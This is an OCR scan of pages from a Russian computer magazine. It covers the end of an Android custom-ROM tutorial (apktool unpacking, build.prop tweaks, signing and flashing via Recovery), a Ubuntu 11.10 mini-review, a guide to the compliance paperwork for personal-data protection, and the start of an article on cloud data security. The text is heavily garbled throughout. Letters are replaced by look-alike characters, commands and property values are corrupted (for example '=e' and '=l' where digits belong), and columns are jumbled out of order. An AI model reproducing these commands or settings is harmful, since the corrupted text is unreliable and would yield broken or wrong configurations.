> cd N /rom/system/framework/ > java - jar N /apktool. jar d framework-res . apk 1 Loading resource tаЫе ,, .

1 Loaded . 1 Decoding fi le-resources ... 1 Decoding values*l* XMLs , .. 1 Done . 1 Copying assets and libs ... > 1 s fra111ework-res Andro idMan i fest. xml apktoo 1 . yml assets res > ls framework-res/res / anim color drawaЫe drawaЫe-en-ldpi drawaЫe-en-mdpi

drawaЫe- land-ldpi drawaЫe-land-mdpi

drawaЫe-ldpi drawaЫe-mdpi drawaЫ e-nodp i layout layout-land layout-port raw

values-es va 1 ues-es-rES values-fa values-fa-r!R values-fi values-fi-rFI values-fr values-fr-rBE va lues-fr-rCA va lues-fr-rCH values-fr-rFR va l ues-he-r 1 L values-hi-r iN values-hr

Распаковываем framework-res.apk

> 1s -1 uтого 1904 -гw-г--г-- 1 j1m useгs 1941504 ФеВр. dгwхг-хг-х 3 j1m useгs 4095 HOSiб . dгwхг-хг-х 13 j1m useгs 4095 нояБ .

> 1s -1 system uтого 48 dгwхг-хг-х 2 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 2 j1m useгs 4096 HOSiб. 8 -гw-г--г-- 1 j1m useгs 3598 ФеВр. 29 dгwхг-хг-х 13 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 2 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 2 j1m useгs 4095 HOSiб, 10 dгwхг-хг-х 7 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 3 j1m useгs 4095 HOSiб. в dгwхг-хг-х 3 j1m useгs 4095 HOSIБ. 8 dгwхг-хг-х 7 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 3 j1m useгs 4095 HOSiб. 8 dгwхг-хг-х 2 j1m useгs 4095 HOSiб . 8 > 1

С вежераспакованная прошивка

va lues-mcc23B-ko va lues-mcc23B-n l va l ues-mcc23B-p l va lues-mcc23B-pt va lues-mcc23B-pt-rPT va 1 ues-mcc23B-ru va lues-mcc23B-sv va lues-mcc23B-tr va 1 ues-mcc23B-zh-rCN va lues-mcc23B-zh-rT'" va l ues-mcc232 va l ues-mcc232-cs va l ues-mcc232-da va l ues-mcc232-de

29 2008 boot, img 8 15:33 META-INF 8 15:33 system

15:33 арр 15:33 bin 2008 bui1d.pгop

15 :33 etc 15:33 fonts 17:15 fгamewoгk 15:33 1ib 15:33 media 15 :33 tts 15:33 usг 15:33 vendoг 15 :33 xbin

6. Устранение проблемы с возникновением черного экрана после

завершения эвон ка:

ro.lge.proximity.delay=25 mot.proximity.delay=25

7. Включение подеветки клавиш управления сразу после включе­

ния экрана:

ro.mot.buttonlight.timeout=0

Помимо всего этого, многие пользователи также рекомендуют

применять следующие комбинации флагов:

1. Уменьшение времени отклика сенсорного экрана:

debug.performance.tuning=l video.accelerate.hw=l windowsmgr.max_events_per_sec=150

2. Увеличение времени жизни батареи:

wifi.supplicant_scan_interval=180 pm.sleep_mode=l ro.ril.disaЫe.power.collapse=e

3. Твики ЗG-модуля:

ro. ril. hsxpa=2 ro.ril.gprsclass=10 ro.ril.hep=l ro.ril.enaЫe.dtm=l

ro.ril.hsdpa.category=10 ro.ril.enaЬle.aSЗ=l

ro.ril.enaЬle.Зg.prefix=l

ro.ril.htcmaskwl.bitmask=4294967295 ro.ril.htcmaskwl=l4449 ro.ril.hsupa.category=S

4. Улучшение производительности сети:

net.tcp.buffersize.default=4096,87380,256960,4096,16384,256960 net.tcp.buffersize .wifi=4096,87380,256960,4096,16384,256960 net.tcp.buffersize.umts=4096,87380,256960,4096,16384,256960 net.tcp.buffersize.gprs=4096,87380,256960,4096,16384,256960 net.tcp.buffersize.edge=4096,87380,256960,4096,16384,256960

Все эти строки необходимо просто поместить в файл system/ build.pгop и сохранить.

ll*•'lk•• ОК, мы внесли необходимые изменения, внедрили свои приложе-

ния , твикнули систему и теперь должны создать готовый к прошив­

ке образ ОС. В этом нам поможет утилита testsign . Сначала следует запаковать прошивкус помощью zip:

$ cd -/rom; zip -r my-rom.zip *

Теперь необходимо подписать арх ив, чтобы Recoveгy смог его

установить:

$ wget goo.gl/OyBBk $ java -classpath testsign.jar testsign \

my-rom.zip my-rom-signed.zip

После этого закидываем архив my-гom-sigпed.zip на карту

памяти устройства и выключаем аппарат . Чтобы попасть в

R e coveгy, включаем аппарат с зажатой клавишей уменьшения

громкости !для некоторы х устройств процедура может отличать­

с я!. Далее с помощью клавиш управления громкостью вьJбираем

п у н к т «Wipe data /factoг y г e se t>> , нажимаем клавиш у включения

lв Recoveгy зто аналог <Enteг>J, выбираем Yes и снова жмем <Enteг> .

Теперь переходим в пункт << lnstall zip fгom sdcaгd », а затем в

<< Choose zip fгom sdcaгd », находим my-гom-sign.zip на 50-карте

и выбираем Yes. После завершения установки выбираем <<Reboot system now».

l:l§!:lel!t§j Aпdгoid- гибкая платформа , и в этой статье описаны далеко не

все возможности по ее модификации.

Более глубокая модификация может включать в себя заме­

щение ядра, изменение экрана блокировки и стандартных при­

ложений, активацию таких возможностей, как автоматическая

установка приложений на карту памяти, внедрение механизма

з агрузочных скриптое 1/etc/init.dl, и многое другое. Обо всем этом мы поговорим в следующи х статьях . ::Х:

-11

Page 119: haker

МИНИ-ОБЗОР UBUNTU 11.10

Мини-обзор Ubuntu 11.10

Oneiгic Ocelot [Мечтательный оцелот)- это 15-й выпуск Linuх-дистрибутива от Canonical. В качестве рабочей оболочки по умолчанию используется Unity. Кроме традиционного СО-, теперь предлагается ОVО-образ [размером 1,5 Гб), который включает все языковые пакеты и некоторые дополнительные приложения [lnkscape, GIMP, Pitivi и полный вар иант LibгeOffice). Сам 150-образ стал гибридным и поддерживает установку как на CD/DVD, так и на USB Flash.

Linux keгnel3.0.1; • новыеверсииnользовательскойоболочки

Unity 4.12.0 и комnозитного менеджера Compiz 0.9.6;

• GNOME3.2; • no умолчанию исnользуются брауэер

Mozilla Fiгefox 7.0.1, почтовый клиент Mozil la Thuпdeгblгd 7.0.1, менеджер входа LightDM, утилита бэкапа Oeja Oup, полностью пере­писанный твиттер-клиент Gwibbeг;

• LibгeOffice 3.4.2; • Python 3.2, GCC4.6.1, Bash4.2, CUPS 1.5.0,

Pidgin 2.10.0, UOEV 173, Х.Огg 1.10.4; • поддержка АRМ-архитектуры «ИЗ коробки».

ИЗ ЗАМЕТНЫХ ИЗМЕНЕНИЙ:

D Кнопку Ubuntu IOash Home) вернули на панель Lauпcheг. Концепция Places, не

подходившая многим пользователям, заменена

на Lenses, которая позволяет осуществлять поиск

сразу по множеству источников информации lв установленных приложениях, локальных файлах,

закладках, твиттере или Google Oocs) поддер­живает расширенные возможности фильтрации,

позволяет присваивать объектам рейтинг и раз­

бивать их на категории. При такой организации

объекты стало проще находить и за пускать.

n Новый переключатель окон по <Ai t+Tab>. U Теперь из одного окна в другое можно переходить с помощью клавиш курсора << Влево»

и « Вправо >>. Если окна не помещаются на экране,

ХАКЕР 01/156/2012

они сворачиваются в «гармошку>>. Окна одного и

того же приложения группируются !группа рас­крывается с помощью клавиши «Вниз >> ). Кроме этого, иконки всех запущенных приложений

складываются в Launcheг.

EJ Оболочка Uпity занимает ми нимальное

пространство, просто «обтекая>> окно при­

ложения. Когда окно развернуто до максимума, то

кнопки управления окном, которые по умолчанию

расположены слева, и меню приложения ото­

бражаются, только если навести курсор мыши на

заголовок окна.

n Ubuпtu Softwaгe Centeг 5.0 с полностью 1111 обновленным интерфейсом упрощает управление программным обеспечением и поиск.

Список приложений, группируемых по категори­

я м, формируется динамически, в зависимости от

рейтинга, даты обновления и имени. В главном

окне выводятся лучшие приложения, рядом с

которыми отображается графический баннер

для выделения новых интересных приложений.

Дополнительно можно применить несколько

филыров репозиториев !официальный пакет Ubuntu, пакеты партнеров и т. п.) В Softwaгe Centeг интегрирован сервис OneConf, который можно испол ьзовать для синхронизации про­

грамм, уста новленных на разны х компьютерах

IFile > Sync between computeгs ... ).

n в базовую поставку добавл ены библиотека

U Qt и упрощенная оболочка Unity 20, не тре­бующая современных видеокарт и способная рабо­

тать без поддержки OpeпGL. Код Uпity 20 создан с использованием Qt и технологии декларативного описания интерфейса Qt Quick. Оболочка Unity 20

должна запускаться в тех случаях, когда невоз­

можно использовать Unity 30, она разработана для виртуальных машин и призвана служить базовым

интерфейсом для нетбуков на базе ARM.

n Предложен инструмент для Ubuпtu LoCo 1,;,1 l goo . g l /cC5kг, пакет ubuntu-defaults-buildeг), позволяющий самостоятельно создавать лока­

лизованные сборки с адаптацией настроек для

разных регио нов : закладок в браузере, ссылок

на поисковики, стартовой страницы, фонового

изображения, мулыимедиакодеков , ссылок на

местные интернет-радиостанции в Banshee и Rhythmbox и многого другого .

n в серверной сборке значител ьн о усилена

U поддержка различных сlо ud -платформ и усовершенствованы механизмы для развертыва­

ния систем виртуализации.

ПРИМЕЧАНИЯ

• Оцелот- хищное млекопитающее из семейства

кошачьих, обитающее в Латинской Америке .

Этот вид находится на грани исчезновения.

• Canпonical будет обеспечивать поддержку дис­

трибутива до а nреля 2013 года.

• Релиз Ubuntu 12.04, выпуск которого намечен на апрель 2012 года, выйдет в виде LТS-версии, то есть будет обеспечиваться поддержкой в

течение nяти лет .

117

Page 120: haker

1

SYN/ACK Никита Дыминекий aka 13oz

118

Для создания максимально

полного пакета

документов на

ИСПДн может пригодиться сайт qscentr.ru - их

nродукт GSPD nозиционируется

именно как

инструмент для

быстрой разработки

документов . К сожалению, про

его качество и

актуальность не

могу ничего сказать,

так как в бесплатную

демо· версию входят

только самые общие формы .

Бумажная работа безопасни ка

ЖУТКАЯ СТАТЬЯ О ЖУТКОЙ БЮРОКРАТИИ В РАБОТЕ СПЕЦИАЛИСТА ПО ИБ

Главная проблема защиты информации в России- это необходимость возни с бумагами .

Фактически написание бумаг- это и есть основная часть работы по защите информации,

причем основная не только в плане объема [а писать придется действительно много чего),

но и важности. К сожалению, регулирующие органы проверяют не столько выполнение

технических требований по защите информации, сколько органи зационное обеспечение . По

этой причине подойти к данному вопросу стоит со всей тщательностью .

ХАКЕР 01/156/2012

Page 121: haker

rn ля начала стоит разобраться, какая нормативная документация

может нам помочь. Во-первых, это Специальные требования

и рекомендации по технической защите конфиденциальной

информации [СТР-КI . Раньше на этом документе стояла пометка <<Для

служебного пользования», но сейчас его очень просто найти в интер­

нете . Кроме того, определяющими нормативными документами для нас

являются два постановления правительства : NQ687 и 781. Рекомендую с ними ознакомиться. Ну а те перь стоит разобраться , для чего нужен

каждый из этих документов .

11 Положение по обработке переанальных данных- определяет

общий порядок обработки информации, порядок их получения,

ос новани е для их обработки , цели обработки, порядок работы с

переональны ми данными [дал ее - ПДнl и прочие подобные вещи .

По сути, это основополагающий докуме нт: в нем мы отвечаем на

вопросы <<кто, как, зачем и на каком основании>>.

21 Аналитический отчет (или отчет об обследовании)- в нем мы рас­

сказываем, что рассмотрели всю нашу информационную систему

и описываем, где нашли переанальные данные, перечисляем их

характеристики [объем и кате гория) и краткие характеристики си­

стемы, где они обрабатываются. Тут же можно описать, какие меры

уже были предприняты для их защиты .

31 Частная модель угроз (ЧМУI- определя ет, какие угрозы безопас­

ности ПДн были признаны актуальными и почему. Информации

о то м, как писать Частную модель угроз, винтернетеболее чем

достаточно. Главное- н е переборщить с при з н а нием угр оз неак­

туальными. ЧМУ разрабатывается только для с п ециальны х систем,

типовые угрозы берутся из П оложения о методах и способах за щиты

информации в информационных системах переанальных данных,

которое утвержде но 58 приказом ФСТЭК. Прежде чем прин иматься за ЧМУ, стоит ознакомиться с эти м положением- возможно, все н е

так страшно, и можно будет обойтись без лишнего бумагомаратель­

ства.

41 Частное техническое задание- нужно, когда к работе по защите ПДн приелекается какой-либо интегратор, то есть дал еко н е

всегда . Н е перечисляя средст ва защиты, которые предполагается

использовать, оно описывает их характеристики . ЧТЗ разрабатыва­

ется только совместно с ЧМУ, для специальных ИСПДн .

51 Акт обследования информационной системы переанальных дан­

ных- базовый документ на определе нную ИСПДн. Он описывает

основные характеристики ИСПДн: объем/категорию обрабатывае­мых ПДн, количество пользователей, состав тех нических средств,

характеристики п омещения [или нескольких помещений ) и исполь­

зуемые средства защиты- и указывает, есть ли разделение прав

доступа. Зачем нужны характеристики помещений ? Они позволяют

регулирующим органам убедиться, что кто угодно не может просто

войти в кабинет и незаметно унести систем ны й блок.

61 Акт классификации информационной системы переанальных данных-думаю, из назва ния это го документа ясно, что он собой

представляет . :1 Именно в нем мы указываем характеристики нашей ИСПДнки, а именно: категорию и объем обрабатываем ых ПДн, характеристи ки безо пасности [специал ьная/типовая) , струк­

туру [автономное рабuчее место, локальная ИС, распределенная ИСI, наличие по~ключения к сетям связи общего пользования и международного информа L; ,юнн ого обмена, режим обработки ПДн

[многспальзовательский / адноп ользовательскийl и местонахожде­ние технических ер едеТ'> [в пределах РФ или нет). Последн ий пункт влияет на возможность применения криптухи.

71 Акт классификации автоматизированной системы- классифици­рует не только ИСПДн, но и автоматизированную систему, в кото рую

входит ИСПДн . Хотя если убрать ИСПДн, то АС классифи цировать

будетуже не нужно - информации, которую необходимо за щищать,

там не будет. П ро классификацию АС можно прочитать в сноске.

8) Технический паспорт- сводны й документ по ИСПДн. Включает в себя фактически всю имеющуюся информацию : расположение,

класс АС и ИСПДн, состав ОТСС, краткую характеристику !сведения о фиксации технических средств, ха рактеристика обрабатываемой

ХАКЕР 01/156/2012

Бумажная работа безопасни ка

информации, характеристика программ но-технической среды), состав средств защиты информации и состав программнога обе­

спечения.

9) Список лиц, допущенных к обработке информации в ИСПДн,­

список людей, которые работают за ком пами , включенными в

состав ИСПДн .

1 О) Список лиц, допущенных к техническому обслуживанию техни­ческих средств ИСПДн, - сюда стоит включить всех, кто имеет хоть

какое-то отн ош ение к адми нистрирова ни ю ИСПДн. Поч ему о ни не

фи гурируют в предыдущем п еречне? Н у, формально о ни у нас не

имеют доступа к обрабатываемой информации, так что нечего им

там делать.

111 Перечень переанальных данных, обрабатываемых в ИСПДн,­перечень всех переанальны х да нны х, обрабатываемых в ИСПДн, с

указа нием основания для обработки и сроков обработки. П еречень

луч ше сделать развернутый, то есть он должен включать не сведе­

ния, предоставляемые по форме Т2 [для отдела кадро в) , а фамилию,

имя, отчество, паспортные данные, дату и место рождения etc. 12) Описаниетехнологического процесса обработки информации в

ИСПДн-тожедовольно расплывчатый документ, в котором нужно

рассказать, как п роисходит обработка информация. Не стоит писать,

что << n ользователь включает переанальный компьютер путем ока­

зания давления на специальную кноп ку, расположенную на кор пусе

системного блока ПЭВМ». :1 Нужно описать субъектов доступа и его объекты, используемые средства защиты информации, выполняемые

пользователями задачи [занесение анкетных дан ных п ол ьзователей в

БД etcl, организацию разграничения доступа и указать, где пр и ведены правила разграничениядоступа [в Матрице доступа) . В качестве при­ложений стоитуказатьзащищаемые ресурсы [перечислить переа­нальныеданные и файлы с настройками ОС и средств за щиты) .

1 3) Матрица доступа к информационным ресурсам информацион­ной системы переанальныхданных-укажи в форме матрицы, к

каким папкам у каких пользователей какие права доступа. Не надо

указывать все папки, которые есть на жестких дисках! Достаточно

систем ных папок, папок с обрабатываемой информацией, ну и

полномочий, предоста вленных пользователям .

141 Акт ввода ИСПДн в эксплуатацию- собственно, этот акт при­знает ИСПДн готовой к работе и вводит в экс плуата цию . Теперь

она у тебя есть.

151 Приказ о назначении администратора безопасности информа­ционньlх систем переанальных данных- предп олагается, что

у тебя есть специальн о обученн ый безопасни к, который должен

за нимат ься всеми этими вещами, и этот приказ закрепля ет за ним

ответственность за решение соответствующих задач . П оскольку

такого человека, скорее всего, нет, ответственность падает на си­

стемного администратора, а в особо запущенных случаях- на того,

кто лучше всех разбирается, как работает компьютер.

16) Приказ о назначении технической комиссии- все акты у нас подписываются комиссиями. Изначально, когда аттестация была

обязательной, такая комиссия называлась Комиссией по подго­

товке к аттестации. Кого в нее включать? В принципе , без разницы.

Хватит председател я комиссии и двух-трех чл енов . Л уч ше все го,

если председателем будет заместитель начальника [сам начальник утверждает документы), а членами- начальники соответствующих

отделов [которые обрабаты вают ПДн) и с и садмин. Оптимальное решение- набрать комиссию из сотрудни ков техотдела .

17) Инструкция администратору безопасности- определяет его

права и обязанности. Если вкратце, то администратор обязан

следить за тем, чтобы средства защиты защищали, а средства вьl­

чи слительнойтехник и вычи сляли.О нта кжеимеет право требоват~

чтобы пользователи выполняли инструкции по за щите информа­

ции, и вносить предложения по модерниза ции системы за щиты

информации . Кстати , все, для кого предназначаются инструкции,

должны обязательно расписываться, что ознакомились с ними, ­

это важно, не забудь.

181 Инструкция пользователям информационных систем переа­нальныхданных-примерно то же самое, что и инструкция для

администратора.

119

Page 122: haker

SYN\ACK

19) Инструкция по парольной защите- из названия все понятно , периодические п роверки, проверять все файлы, поступающие в

ИСПДн и т. д . но в от какими должны быть па роли? В реше ни и это го вопроса

нам поможет РД <<АС. Защита АС от НСД», где относительно четко

прописано, что для наших АС [а у нас, скорее всего, будет АС класса 1 Г- см. с носку) требуется параль усл ов н о- постоян ного действия, имеющий длину не менее шести символов и включающий цифры

Последние две инструкции, особенно инструкцию по парольной

защите, можно включить в инструкцию администратору и пользова­

телям. Вообще, инструкции писать довольно просто- достаточн о

вспомнить все, что ты должен делать как админ и чего ты ждеш ь от

п ользователей. Пр и этом можно будет приструнить юзеров. :1 Н е всех,

так хоть самых надоедливых - бухгалтеров и кадровиков.

и буквы .. Что значит << па роли условно-постоянного действия »? Ну, по идее, это з н ачит, что они меняются только при наступл ении

каких-то событий : увольнении сотрудника, обнаружении факта

НСД [несанкционированного доступа) и так далее. Но обычно все­таки выставляется время действия пароля- 90 дней. Также стоит прописать, что парольдолжен отличаться от предыдущих [пяти

паралей хватит ) хотя бы в нескольких сим вола х.

Н а самом деле , ресурсов с информацией о том, как писать документы

по ИСПДнам, довольн о м ного- от уже неоднократно упоминавшегося

ISPDN.RU до Хабрахабра - достаточно просто поискать . Другое дело,

что в одном месте советуют одно, а в другом другое и абсолютно полной

и досто верной информации о том, как это делать, нет нигде, даже в этой

статье. Проблема защиты переанальных данных в настоящее время

осложняется еще и тем, что требования законодательства в этой области

меняются с пугающей скоростью, и к моменту выхода статьи в печать

что-то может уже быть по-другому. Поэтому я бы посоветовал принять к

сведению все рекомендации, съездить на курсы по защите ПДн [их про­водит довольно много компаний, но я бы посоветовал курсы << Маскома >>

и <<Информзащиты>>- и там и там преподают именно практики, которые

занимаются как раз защитой информации), а уже непосредственно в процессеработы не постесняться направить запрос в регулирующие

органы. Только делать зто лучше через юристов, чтобы обес печить его

корректность. Некоторые моменты тебе, опять же, сможет разъяснить

юротдел, если он есть,- документы все-таки написаны не техническим,

а юридическим языком. :и:

20) Инструкция по антивирусной защите - описывает, как мы защи­

щаемся от вирусов . Кстати, по-умному они называются вредо­

носными программами - <<вирусами >>. Предписывает проводить

ИНСТРУКЦИЮ ПО ПАРОЛЬНОЙ ЗАЩИТЕ, МОЖНО ВКЛЮЧИТЬ В

ИНСТРУКЦИЮ АДМИНИСТРАТОРУ

И ПОЛЬЗОВАТЕЛЯМ.

ЧТО ИЗ СЕБЯ ПРЕДСТАВЛЯЕТ ПОЛОЖЕНИЕ ПО ОБРАБОТКЕ ПЕРСОНАЛЬНЫХ ДАННЫХ?

Положение имеет nримерно следующую схему:

11 Общие положения- тут указ ывается, в соответ­

ствии с чем разрабатывается данный документ,

цель его разработки, что он определяет, кем

утверждается.

2) Основные термины и определения - берутся из

152-ФЗ, как и многое другое в зто м документе.

3) Обязанности оператора - можно брать прямо из

152-ФЗ <<О переанальных данных>>.

4) Права и обязанности сотрудников по обработке

переанальных данных - укажи, что сотрудники

имеют право обрабатывать ПДн в соответствии

со своими должностными обязанностями, при

необходимость их уточнять и так далее . Обязан­

ности сотрудников состоят в том, чтобы никому

не сообщать ПДн, выполнять требования за­

конов, постановлений правительства, приказов

по организации и своих инструкций в части,

касающейся ПДн , то есть выполнять требования

по парольной и антивирусной защите.

5) Общий порядок обработки переанальных данных

-здесь мы указываем следующее:

а . Н а каком основании и при каких условиях произ­

водится обработка переанальных данных. Осно­

ванием для обработки может являться Трудовой

кодекс, закон <<О записи актов гражданского

состояния » и т. д. Спроси у тех, кто занимается

обработкой ПДн,- они должны знать, какой

документ регламентирует их деятельность .

120

б. С какой целью производится обработка переа­

нальных данны х - проще всего указать, что <<С

целью обеспечения основной деятельности>>,

если, ко не чно, обработка ПДн н е является

частью основной деятельности , как у страховых

компаний, медицинских уч реждений и т. д.

в. Источники получения переанальных данных и

условия , при которых этми источниками можно

пользоваться, - по закону источником получе ­

ния ПДн может быть только сам их владелец, то

есть человек, кроме некоторы х случаев , которые

касаются преимущественно МВД и прочих по­

добных структур. Уточнять данные у третьих лиц

можно только с согласия объекта ПДн.

6) Порядок обработки переанальных данных с ис­

пользованием средств автоматизации- расска ­

зываем, что обрабатывать переанальные данные

с использованием средств автоматизации [чита­

ем- на компьютере) можно только с соблюде ·

ни ем всех требований ГСЗИ [государственной

системы защиты информации) и Частной модели

угроз [если она разработана) .

7) П орядок обработки переанальных данных без

использования средств а втоматизации - поря­

док документооборота. Расспроси сотрудников

ИСПДн, как они хранят документы, в которых

фигурируют ПДн . Только не стоит писать, что

документы валяются по столам,- это не­

сколько не то, чего ждут от тебя регулирующие

органы.

8) Защита переанальных данных- кто и как до­

пускается к обработке ПДн, на каких условиях

проводится обработка ПДн [выполняются ли

требования по защите от НСД, предпринимаются

ли меры по предотвращению доступа лиц, не

имеющих допуска, к ПДн etc). 9) Порядок предоставления доступа к переаналь­

ным данным- здесь и далее можно просто

перепи сывать соответствующие статьи из

152-ФЗ.

10) Порядок предоставления третьим лицам

доступа к п ереанальным данным- передача

ПДн третьим лицам возможна только после

получения письменного согласия субъекта

ПДн , кроме случае в, оговоренных законода·

тельством РФ. Под такими случаями понимают

запросы из МВД, прокуратуры и тому подобных

учреждечий.

11) Ответственность за нарушение требований по защите переанальных данных- руководитель

несет ответственность за допуск сотрудников

к обработке ПДн, администратор безопасности

- за обеспечение работоспособности средств

защиты информации , пользователь- за вы­

полнение инструкций, и каждый из них несет

ответственность, предусмотренную действующим

законодательством РФ.

В конце документа должен находиться л ист

ознакомления.

ХАКЕР 01/156/2012

Page 123: haker

ЧТО ТАКОЕ

ОТСС И ВТСС?

n Если коротко, то ОТСС- это та техника,

181 которая входит в состав рассматриваемой АС, а ВТСС- это все остальное, установленное

в тех же помещениях . Как ты понимаешь, ОТСС

одной ИСПДн для другой представляют собой

ВТСС. И то и другое фиксируется, только если

угроза утечки информации по каналу ПЭМ И Н

была приэнана актуальной, однако в Положении

о методах и способах защиты информации в

информационных системах переанальных

данных эта угроза признается неактуальной для

всех типовых ИСПДн, вне зависимости от

класса. Именно поэтому состав ВТСС нигде не

фигурирует.

НАСКОЛЬКОПОДРОБНОЗАПОЛНЯТЬ

ПЕРЕЧЕНЬ ОТСС?

n Максимально полно . Комплектующие

181 можно не переписывать, но все осталь­ное- надо. Если ИСПДн состоит из одного

компьютера, то в типовой список будут входить

системный блок, монитор, клавиатура, мышь,

принтер и бесперебойни к . С сетью все сложнее .

Если она выделена в физический сегмент, то в

состав ОТСС стоит включить и все сетевое

оборудование внутри этого сегмента, а если она

выделено VLAN'aми или вообще не выделена­

то только компьютеры. Распределенную ИСПДн

я бы порекомендовал разбить на несколько

ХАКЕР 01/156/2012

ИСПДн по территориальному признаку. В любом

случае включать в список оборудование

провайдера не придется.

КОГДА ИСПДН СЧИТАЕТСЯ ТИПОВОЙ, А КОГДА- СПЕЦИАЛЬНОЙ?

~ Если следовать нормативке, то типовая

181 ИСПДн - это такая ИСПДн, к которой предъявляются требования только по конфиден­

циальности информации, а доступность и

целостность роли не играют. Как ты понимаешь,

в жизни таких систем не бывает, так что все

определяется бюджетом и желанием реализо­

вать какой-то свой проект по защите информа­

ции. В этом случае стоит написать ЧМУ и

соответствующее ЧТЭ, где зашифровать нужное

оборудование.

r.1 ЕСЛИ ОПРЕДЕЛЯЮЩИМИ 1.;.1 ХАРАКТЕРИСТИКАМИ ИСПДН ЯВЛЯЮТСЯ ОБЪЕМ И КАТ Е ГОРИЯ ПДН , ТО

ЗАЧ ЕМ НУЖНА ИНФОРМАЦИЯ О

КОЛИЧЕСТВЕ ПОЛЬЗОВАТЕЛЕЙ И РАЗГРАН ИЧЕНИИ ДОСТУПА?

n В прошлой статье я уже говорил, что

181 переанальные данные относятся к защищаемой законом информации и автомати ­

зированные системы следует классифицировать

еще и согласно РД «Автоматизированные

системы. Защита автоматизированных систем от

несанкционированного доступа». Порядок

Бумажная работа Безопасника

классификации в нашем случае такой:

• один пользователь­

класс защищенность ЗБ;

• много пользователей с одинаковыми

правами- 2Б;

• много пользователей с разными

правами-1Д.

Кстати, администратор тоже является поль­

зователем (он же имеет доступ к компьютеру!, так что класс 2Б становится каким-то очень

невостребованным. Даже если пользователи

сидят под админскими учетками, права на

администрирование средств защиты есть только

у админа.

Вот такая вот двойная классификация. Если

посмотреть, то требования к защите инфор­

мации в ИСПДн чаще всего включают в себя

требования из РД и некоторые дополнительные

требования. Сам Р Д есть в интернете, на том же

сайте ФСТЭКа.

r.1 КАКАЯ И НФОРМАЦИОННАЯ С~СТЕМА 1.;.1 ЯВЛЯЕТСЯРАСП РЕДЕЛЕННОИ,А КАКАЯ -ЛОКАЛЬНОЙ?

n Проще всего разделить по такому

181 принципу . если линии связи проходят вне контролируемой зоны, то ИС считается

распределенной, а в противном случае- ло­

кальной . Под контролируемой зоной понимают

такую зону, доступ в которую контролируется

организацией.

121

Page 124: haker

SYN/ACK

Когда с

Сергей «grinder» Яремчук lgrinderliHux.in.ual

• Сайт LUKS-~ google.com/o/ ЩJ1.\illiiJ!

• MySQL 5.6 Reference Manual - Encryptjon and Comoressjon- clck. П!Lfru

• Windows Azure SDK - microsoft.com/ wjndowsazure/sdk

• Сайт vGate R2 -securjtycode.ru/ oroducts/sn ym­ware/ygate com

• Страни ца Novell Cloud Security Ser­vice novell.com/ prodцcts/cloud­securjty-service

• Сайт FreeOTFE­freeotfe.org

ЗАЩИЩАЕМ ДАННЫЕ В <<ОБЛАКЕ>>

l""Jr\-1 1

Для nередачи ключа и взаимно й

аутентифи каци и пользователя

и серверов

ссоблака >> наиболее

оптимальна схема

шифрования с открытым ключом.

Интерес к «облачным» технологиям растет с

каждым днем . С одной стороны, его подогревает

хороший PR, а с другой- очевидная выгода,

ведь компании предпочитают платить за

функциональность, а не за поддержание

собственной инфраструктуры . Аналитики

прогнозируют, что в течение нескольких

следующих лет частота использования

«облаков» возрастет как минимум в пять

раз . И все же большинство пользователей с

недоверием относится к новой фишке. Главная

причина этого недове ~· ия кроется в проблеме с

защитой своих данных в чужих «облаках ».

122

О БЕЗОПАСНОСТИ В ОБЛАКЕ Использовать <<облака» крайне выгодно. В первую оче редь, они

исключают необходимость в приобретении железа IPaaS) и софта ISaaS) и в их последующей модернизации, а также сокращают

временные затраты на внедрение. При внедрении сервиса тяжело

подобрать нужное железо сразу, поэтому оборудование всегда

берут с за п асом мощности. Однако впоследствии не редко выясня­

ется, что мощность используется всего на треть lто есть средства потрачены зря). Еще хуже, когда ее не хватает. В этом плане <<обла­

ка» гораздо э фф ективнее, ведь в них оче н ь п росто у в еличить или

уменьшить ресурсы, да и, как правило, нет банальных простоев

из-за поломок оборудования.

То есть ты п росто заплатил, арендовал и работае шь, а есл и

ресурсов сервера станет недостаточно, их легко можно увеличить.

Большую роль здесь играет успех виртуализации, которая, по дан­

ным v- i пde x.com , достигла уже 38,9 %. Еди нственное, что остается

невыясненным,- зто вопрос безопасности . Самое интересное, что

проблема кроется в самом принципе организации данных. Ранее

пользователь самостоятельно подбирал и настраивал приложение,

решал все сопутствующие вопросы , в том числе организовывал

защиту и проводил мероприятия по резервному копированию, чтобы

обеспечить сохранность и доступность да н ных . Теперь все эти

задач и возлагаются на провайдера услуг, ко торый п редост а вляет

решения SaaS ISoftwaгe as а Seгvice- приложение как услу га) или PaaS IPiatfoгm as а Seгvice - платформа как услуга ) , и как там у

н его все организовано, часто можн о только до гадываться . П оэтому

организациям приходится полностью доверять поставщику, который

не всегда может уберечь их от неприятностей . В ли цензиях так и на­

писа н о: защита- забота клие н та. Име нн о р иск п отерять разом все

данные, помноженный на возможность утечки конфиденциальной

информации, останавливает многих пользователей от внедрения

SaaS. Кстат и, с п е циалисты п о обес п е ч е н ию безоп ас ности о п е риру­

ют при разработке систем защиты имен н о понятием рисков. То есть

если данные никому не нужны, то и смысла строить баррикады нет,

достаточ н о простого замка. Конечно, есл и серв и с п редост а вл яют

такие монстры, как Google или Amazoп, обладающие больш ими

ресурсами и находящиеся <<за бугром », то вряд ли стоит опасаться

ХАКЕР 01 /156/2012

Page 125: haker

ctt o --<08

VIRТUALIZATION

PENEТRATION RАТЕ

38.9%

11!::8

ОПЕЯ""'

V-INDEX 03 2011

CONSOLIDATION RATIO

5:1

IICI:I

GARTNER OдTдONVIRТUALIZATION INDUSTRY

0.. ..... _ ............. ~ ... --wy -·--­Cif'q)o'9!f"~fii~<PI'I' .. -lllt~

:с-...::"" .. -·-~-ро·•- ....... 0

HYPERVISOR INUSE

По данным сайта v-index.com, nроцент виртуалиэации не так уже и мал

того, что в дата-центр ворвутся люди в масках и конфискуют все

сервера или жесткий диск со прет неблаганадежный сотрудник. Как

раз наоборот- человеки из «маски-шоу>> должны знать, что данные

находятся в <<облакаХ>>. ;l То есть в этом случае мы сможем сохра нить данные и хотя бы частично возобновить работу, подключившись из

другого офиса. В любом случае риски одинаковы, да и в некоторые

местные ЦОД попасть не так-то просто. Именитые игроки на рынке

защищены на порядок лучше, чем серверная в небольшой организа­

ции. Такие компании заботятся о своем имидже и позтому проводят

весь комплекс необходимых мероприятий и создают специальные

отделы по обеспечению внутренней безопасности. К тому же если

компания- поставщик услуг давн о работает на рынке, имеет

